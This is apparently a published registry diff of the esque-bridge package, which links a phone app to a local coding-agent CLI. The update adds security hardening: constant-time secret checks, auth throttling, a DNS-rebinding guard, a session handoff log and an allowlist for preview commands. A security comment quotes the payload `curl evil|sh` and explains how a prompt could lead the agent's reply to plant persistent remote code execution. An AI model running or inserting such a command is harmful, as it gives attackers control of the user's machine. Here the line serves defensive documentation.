esque-bridge 0.6.12 → 0.6.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +184 -20
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -116,6 +116,9 @@ function resolvePairingSecret() {
|
|
|
116
116
|
const secret = gen();
|
|
117
117
|
try {
|
|
118
118
|
fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
|
|
119
|
+
// Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
|
|
120
|
+
// pre-existing file keeps its old perms) — this is an RCE-grade secret.
|
|
121
|
+
try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
|
|
119
122
|
} catch (err) {
|
|
120
123
|
console.warn(
|
|
121
124
|
`[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
|
|
@@ -188,6 +191,47 @@ function clearCliSessionId(agent, esqueSessionId) {
|
|
|
188
191
|
saveSessions();
|
|
189
192
|
}
|
|
190
193
|
|
|
194
|
+
// --- Handoff log ----------------------------------------------------------
|
|
195
|
+
// A running, on-disk record of each turn (prompt + what the agent did), kept in
|
|
196
|
+
// the project folder. Its whole purpose is to survive a lost CLI session: if
|
|
197
|
+
// the agent's conversation memory is ever GC'd, the fresh session is told to
|
|
198
|
+
// read this file and recover the project's context — so a memory reset doesn't
|
|
199
|
+
// mean starting from zero. Best-effort; bounded so it stays readable.
|
|
200
|
+
const HANDOFF_MAX = 48 * 1024;
|
|
201
|
+
function handoffRel(esqueSessionId) {
|
|
202
|
+
const short = String(esqueSessionId || 'default').replace(/[^a-zA-Z0-9_-]/g, '').slice(0, 16) || 'default';
|
|
203
|
+
return `.esque/handoff-${short}.md`;
|
|
204
|
+
}
|
|
205
|
+
function handoffPath(esqueSessionId) {
|
|
206
|
+
return path.join(WORKDIR, handoffRel(esqueSessionId));
|
|
207
|
+
}
|
|
208
|
+
function appendHandoff(esqueSessionId, prompt, replyText) {
|
|
209
|
+
if (!esqueSessionId) return;
|
|
210
|
+
try {
|
|
211
|
+
fs.mkdirSync(path.join(WORKDIR, '.esque'), { recursive: true });
|
|
212
|
+
const file = handoffPath(esqueSessionId);
|
|
213
|
+
const header = fs.existsSync(file)
|
|
214
|
+
? ''
|
|
215
|
+
: "# Esque handoff log\n\n> A running record of this project's work so your AI agent can recover context if its session is ever reset. Safe to delete (or add `.esque/` to .gitignore).\n\n";
|
|
216
|
+
const reply = String(replyText || '').trim().replace(/\n{3,}/g, '\n\n').slice(0, 1200);
|
|
217
|
+
const stamp = new Date().toISOString();
|
|
218
|
+
fs.appendFileSync(
|
|
219
|
+
file,
|
|
220
|
+
`${header}## ${stamp}\n\n**Prompt:** ${String(prompt || '').slice(0, 600)}\n\n**Agent:** ${reply || '(no output)'}\n\n---\n\n`,
|
|
221
|
+
);
|
|
222
|
+
// Keep it bounded: on overflow, retain the most recent entries (trim to a
|
|
223
|
+
// clean entry boundary so the recovered context reads cleanly).
|
|
224
|
+
const buf = fs.readFileSync(file, 'utf8');
|
|
225
|
+
if (buf.length > HANDOFF_MAX) {
|
|
226
|
+
const tail = buf.slice(buf.length - HANDOFF_MAX);
|
|
227
|
+
const cut = tail.indexOf('\n## ');
|
|
228
|
+
fs.writeFileSync(file, '# Esque handoff log (older entries trimmed)\n\n' + (cut >= 0 ? tail.slice(cut + 1) : tail));
|
|
229
|
+
}
|
|
230
|
+
} catch {
|
|
231
|
+
/* best-effort — never let handoff bookkeeping break a turn */
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
|
|
191
235
|
// --- Adapters -------------------------------------------------------------
|
|
192
236
|
// Each adapter describes how to invoke a CLI for a single prompt. The
|
|
193
237
|
// runner is identical across adapters; only argv-building and stdout
|
|
@@ -539,7 +583,23 @@ async function runAgentResilient(prompt, esqueSessionId) {
|
|
|
539
583
|
if (prevId && RESUME_FAIL_RE.test(String(err && err.message))) {
|
|
540
584
|
console.warn('[bridge] stored CLI session is gone — retrying as a fresh session');
|
|
541
585
|
clearCliSessionId(AGENT_TYPE, esqueSessionId);
|
|
542
|
-
|
|
586
|
+
// The agent lost its memory. If we've been keeping a handoff log, point
|
|
587
|
+
// the fresh session at it FIRST so it recovers the project's context
|
|
588
|
+
// instead of starting from zero.
|
|
589
|
+
let recovered = prompt;
|
|
590
|
+
try {
|
|
591
|
+
if (fs.existsSync(handoffPath(esqueSessionId))) {
|
|
592
|
+
recovered =
|
|
593
|
+
`[Esque session recovery] Your previous conversation in this project was reset and its in-memory context was lost. ` +
|
|
594
|
+
`BEFORE anything else, read the file \`${handoffRel(esqueSessionId)}\` in this folder — a running log of everything done in this project so far — and use it to reconstruct context. Then carry out this request:\n\n${prompt}`;
|
|
595
|
+
}
|
|
596
|
+
} catch {
|
|
597
|
+
/* fall back to the bare prompt */
|
|
598
|
+
}
|
|
599
|
+
const fresh = await runAgent(recovered, esqueSessionId);
|
|
600
|
+
// Tell the phone the agent's memory was reset (it ignores the field if
|
|
601
|
+
// unknown). Older bridges never set it.
|
|
602
|
+
return { ...fresh, sessionReset: true };
|
|
543
603
|
}
|
|
544
604
|
throw err;
|
|
545
605
|
}
|
|
@@ -555,10 +615,77 @@ app.use((req, res, next) => {
|
|
|
555
615
|
next();
|
|
556
616
|
});
|
|
557
617
|
|
|
618
|
+
// The current public tunnel host, set once the pair tunnel opens (see main).
|
|
619
|
+
let currentTunnelHost = null;
|
|
620
|
+
|
|
621
|
+
// DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
|
|
622
|
+
// via the cloudflared/localtunnel host; a malicious web page that rebinds its
|
|
623
|
+
// OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
|
|
624
|
+
// blocks it from reaching even the unauthenticated probes (which would
|
|
625
|
+
// otherwise disclose the workdir folder name etc.).
|
|
626
|
+
const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
|
|
627
|
+
const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
|
|
628
|
+
app.use((req, res, next) => {
|
|
629
|
+
const host = String(req.headers.host || '');
|
|
630
|
+
if (
|
|
631
|
+
LOCAL_HOST_RE.test(host) ||
|
|
632
|
+
TUNNEL_HOST_RE.test(host) ||
|
|
633
|
+
(currentTunnelHost && host === currentTunnelHost)
|
|
634
|
+
) {
|
|
635
|
+
return next();
|
|
636
|
+
}
|
|
637
|
+
return res.status(403).json({ error: 'forbidden_host' });
|
|
638
|
+
});
|
|
639
|
+
|
|
640
|
+
// Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
|
|
641
|
+
// auth throttle is per-attacker, not global (which an attacker could otherwise
|
|
642
|
+
// abuse to lock out the legit phone).
|
|
643
|
+
function clientIp(req) {
|
|
644
|
+
return (
|
|
645
|
+
req.headers['cf-connecting-ip'] ||
|
|
646
|
+
String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
|
|
647
|
+
req.ip ||
|
|
648
|
+
req.socket?.remoteAddress ||
|
|
649
|
+
'unknown'
|
|
650
|
+
);
|
|
651
|
+
}
|
|
652
|
+
|
|
653
|
+
// Constant-time secret check (avoid a string-compare timing side-channel — the
|
|
654
|
+
// secret is the only thing standing between the public tunnel and your shell).
|
|
655
|
+
function secretMatches(provided) {
|
|
656
|
+
if (typeof provided !== 'string' || provided.length === 0) return false;
|
|
657
|
+
const a = Buffer.from(provided);
|
|
658
|
+
const b = Buffer.from(PAIRING_SECRET);
|
|
659
|
+
return a.length === b.length && crypto.timingSafeEqual(a, b);
|
|
660
|
+
}
|
|
661
|
+
|
|
662
|
+
// Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
|
|
663
|
+
// but a lockout makes that hold even if the entropy ever drops, and stops a
|
|
664
|
+
// noisy guesser hammering the bridge.
|
|
665
|
+
const authFails = new Map();
|
|
666
|
+
const AUTH_FAIL_MAX = 20;
|
|
667
|
+
const AUTH_FAIL_WINDOW = 60_000;
|
|
668
|
+
function authThrottled(ip) {
|
|
669
|
+
const now = Date.now();
|
|
670
|
+
const e = authFails.get(ip);
|
|
671
|
+
return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
|
|
672
|
+
}
|
|
673
|
+
function noteAuthFail(ip) {
|
|
674
|
+
const now = Date.now();
|
|
675
|
+
if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
|
|
676
|
+
const e = authFails.get(ip);
|
|
677
|
+
if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
|
|
678
|
+
else e.n += 1;
|
|
679
|
+
}
|
|
680
|
+
|
|
558
681
|
// Directory identity the app binds a project to. Lets the phone detect when a
|
|
559
|
-
// project is being re-pointed at a DIFFERENT folder
|
|
560
|
-
//
|
|
561
|
-
|
|
682
|
+
// project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
|
|
683
|
+
// get only the folder NAME + version — never the absolute path (it leaks the OS
|
|
684
|
+
// username) or the directory contents.
|
|
685
|
+
function workdirInfo(authed) {
|
|
686
|
+
if (!authed) {
|
|
687
|
+
return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
|
|
688
|
+
}
|
|
562
689
|
let empty = false;
|
|
563
690
|
let git = false;
|
|
564
691
|
let entries = -1;
|
|
@@ -576,42 +703,42 @@ function workdirInfo() {
|
|
|
576
703
|
empty,
|
|
577
704
|
git,
|
|
578
705
|
entries,
|
|
579
|
-
// Lets the app detect a stale bridge and say "restart your bridge"
|
|
580
|
-
// instead of silently degrading (older bridges lack newer self-healing).
|
|
581
706
|
version: BRIDGE_VERSION,
|
|
582
707
|
};
|
|
583
708
|
}
|
|
584
709
|
|
|
585
|
-
// Public health probe.
|
|
710
|
+
// Public health probe — minimal, unauthenticated.
|
|
586
711
|
app.get('/', (_req, res) => {
|
|
587
712
|
res.json({
|
|
588
713
|
ok: true,
|
|
589
714
|
service: 'esque-bridge',
|
|
590
715
|
agent: AGENT_TYPE,
|
|
591
716
|
agentLabel: adapter.label,
|
|
592
|
-
|
|
593
|
-
...workdirInfo(),
|
|
717
|
+
...workdirInfo(false),
|
|
594
718
|
});
|
|
595
719
|
});
|
|
596
720
|
|
|
597
|
-
// Connection-test probe — no auth required to confirm reachability, but if
|
|
598
|
-
//
|
|
599
|
-
//
|
|
600
|
-
//
|
|
601
|
-
// null (no secret sent — older app builds; we can't say either way). We also
|
|
602
|
-
// return workdir identity so the app can warn on a folder mismatch.
|
|
721
|
+
// Connection-test probe — no auth required to confirm reachability, but if the
|
|
722
|
+
// phone includes the pair secret we validate it and report `paired` so the app
|
|
723
|
+
// can verify BEFORE showing green. Full workdir identity (path, git, entries)
|
|
724
|
+
// is returned ONLY when the secret matches (paired === true).
|
|
603
725
|
app.post('/', (req, res, next) => {
|
|
604
726
|
if (req.body && req.body._probe === true) {
|
|
605
727
|
const provided = req.header('x-esque-pair') || req.body?.pairSecret;
|
|
606
|
-
const paired = provided == null ? null : provided
|
|
607
|
-
return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
|
|
728
|
+
const paired = provided == null ? null : secretMatches(provided);
|
|
729
|
+
return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
|
|
608
730
|
}
|
|
609
731
|
return next();
|
|
610
732
|
});
|
|
611
733
|
|
|
612
734
|
function requireAuth(req, res, next) {
|
|
735
|
+
const ip = clientIp(req);
|
|
736
|
+
if (authThrottled(ip)) {
|
|
737
|
+
return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
|
|
738
|
+
}
|
|
613
739
|
const provided = req.header('x-esque-pair') || req.body?.pairSecret;
|
|
614
|
-
if (provided
|
|
740
|
+
if (!secretMatches(provided)) {
|
|
741
|
+
noteAuthFail(ip);
|
|
615
742
|
return res.status(401).json({
|
|
616
743
|
text:
|
|
617
744
|
'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
|
|
@@ -644,7 +771,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
|
|
|
644
771
|
// revive the dev server + mint a fresh tunnel — the phone then resolves the
|
|
645
772
|
// current URL via GET /preview instead of trusting the dead one.
|
|
646
773
|
const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
|
|
774
|
+
|
|
775
|
+
// SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
|
|
776
|
+
// marker) and is run via `sh -c` — and persisted + auto-replayed on every
|
|
777
|
+
// restart. Without a guard, a single prompt could plant
|
|
778
|
+
// `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
|
|
779
|
+
// run/persist a command that looks like a real dev-server start: each
|
|
780
|
+
// `&&`-separated step must begin with an allowlisted tool, and the whole
|
|
781
|
+
// string must be free of pipes, redirects, sequencing, subshells, and command
|
|
782
|
+
// substitution (we DO allow `&&` chaining and flags). This bounds it to the
|
|
783
|
+
// shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
|
|
784
|
+
// arbitrary-shell case.
|
|
785
|
+
const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
|
|
786
|
+
function isSafePreviewCmd(cmd) {
|
|
787
|
+
if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
|
|
788
|
+
if (/[\n\r;`|<>]/.test(cmd)) return false; // sequencing/pipe/redirect/backtick
|
|
789
|
+
if (/\$\(|\$\{/.test(cmd)) return false; // command/var substitution
|
|
790
|
+
if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
|
|
791
|
+
const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
|
|
792
|
+
if (steps.length === 0 || steps.length > 6) return false;
|
|
793
|
+
return steps.every((s) => PREVIEW_TOOL.test(s));
|
|
794
|
+
}
|
|
795
|
+
|
|
647
796
|
function savePreviewCmd(cmd, port) {
|
|
797
|
+
if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
|
|
648
798
|
try {
|
|
649
799
|
let all = {};
|
|
650
800
|
try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
|
|
@@ -658,7 +808,9 @@ function loadPreviewCmd() {
|
|
|
658
808
|
try {
|
|
659
809
|
const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
|
|
660
810
|
const e = all[WORKDIR];
|
|
661
|
-
|
|
811
|
+
// Re-validate on read too — a hand-edited or pre-guard previews file must
|
|
812
|
+
// not auto-replay something unsafe on boot.
|
|
813
|
+
if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
|
|
662
814
|
} catch { /* none saved */ }
|
|
663
815
|
return null;
|
|
664
816
|
}
|
|
@@ -944,6 +1096,12 @@ async function ensureDeps() {
|
|
|
944
1096
|
|
|
945
1097
|
async function startPreview(cmd, port) {
|
|
946
1098
|
killPreview();
|
|
1099
|
+
// SECURITY: refuse any preview command that isn't a recognizable dev-server
|
|
1100
|
+
// start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
|
|
1101
|
+
if (!isSafePreviewCmd(cmd)) {
|
|
1102
|
+
console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
|
|
1103
|
+
return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
|
|
1104
|
+
}
|
|
947
1105
|
// Make sure node_modules exists before the dev server tries to boot. A
|
|
948
1106
|
// failed install IS the build error — surface the npm cause to the phone
|
|
949
1107
|
// (and the auto-fix loop, which can repair package.json) instead of letting
|
|
@@ -1183,11 +1341,13 @@ async function executeHandler(req, res) {
|
|
|
1183
1341
|
jobs.set(jobId, {
|
|
1184
1342
|
status: result.isError ? 'blocked' : 'finished',
|
|
1185
1343
|
text: result.text,
|
|
1344
|
+
sessionReset: !!result.sessionReset,
|
|
1186
1345
|
createdAt: Date.now(),
|
|
1187
1346
|
});
|
|
1188
1347
|
console.log(
|
|
1189
1348
|
`[bridge] done job=${jobId} ${result.isError ? 'blocked' : 'finished'}`,
|
|
1190
1349
|
);
|
|
1350
|
+
if (!result.isError) appendHandoff(esqueSessionId, prompt, result.text);
|
|
1191
1351
|
const ok = !result.isError;
|
|
1192
1352
|
sendExpoPush(
|
|
1193
1353
|
pushToken,
|
|
@@ -1234,9 +1394,11 @@ async function executeHandler(req, res) {
|
|
|
1234
1394
|
|
|
1235
1395
|
try {
|
|
1236
1396
|
const result = await enqueueRun(prompt, esqueSessionId);
|
|
1397
|
+
if (!result.isError) appendHandoff(esqueSessionId, prompt, result.text);
|
|
1237
1398
|
finish({
|
|
1238
1399
|
text: result.text,
|
|
1239
1400
|
status: result.isError ? 'blocked' : 'finished',
|
|
1401
|
+
sessionReset: !!result.sessionReset,
|
|
1240
1402
|
});
|
|
1241
1403
|
} catch (err) {
|
|
1242
1404
|
console.error('[bridge] error:', err.message);
|
|
@@ -1254,7 +1416,7 @@ function resultHandler(req, res) {
|
|
|
1254
1416
|
text: 'That task is no longer available — the bridge may have restarted.',
|
|
1255
1417
|
});
|
|
1256
1418
|
}
|
|
1257
|
-
res.json({ status: job.status, text: job.text });
|
|
1419
|
+
res.json({ status: job.status, text: job.text, sessionReset: !!job.sessionReset });
|
|
1258
1420
|
}
|
|
1259
1421
|
|
|
1260
1422
|
// Single-flight wrapper for reviving the saved preview: GET /preview and the
|
|
@@ -1454,6 +1616,8 @@ async function main() {
|
|
|
1454
1616
|
if (tunnel.kind === 'localtunnel') {
|
|
1455
1617
|
console.log(' (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
|
|
1456
1618
|
}
|
|
1619
|
+
// Allow this tunnel's host through the DNS-rebinding guard.
|
|
1620
|
+
try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
|
|
1457
1621
|
|
|
1458
1622
|
const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
|
|
1459
1623
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "esque-bridge",
|
|
3
|
-
"version": "0.6.
|
|
3
|
+
"version": "0.6.14",
|
|
4
4
|
"description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"esque-bridge": "index.js"
|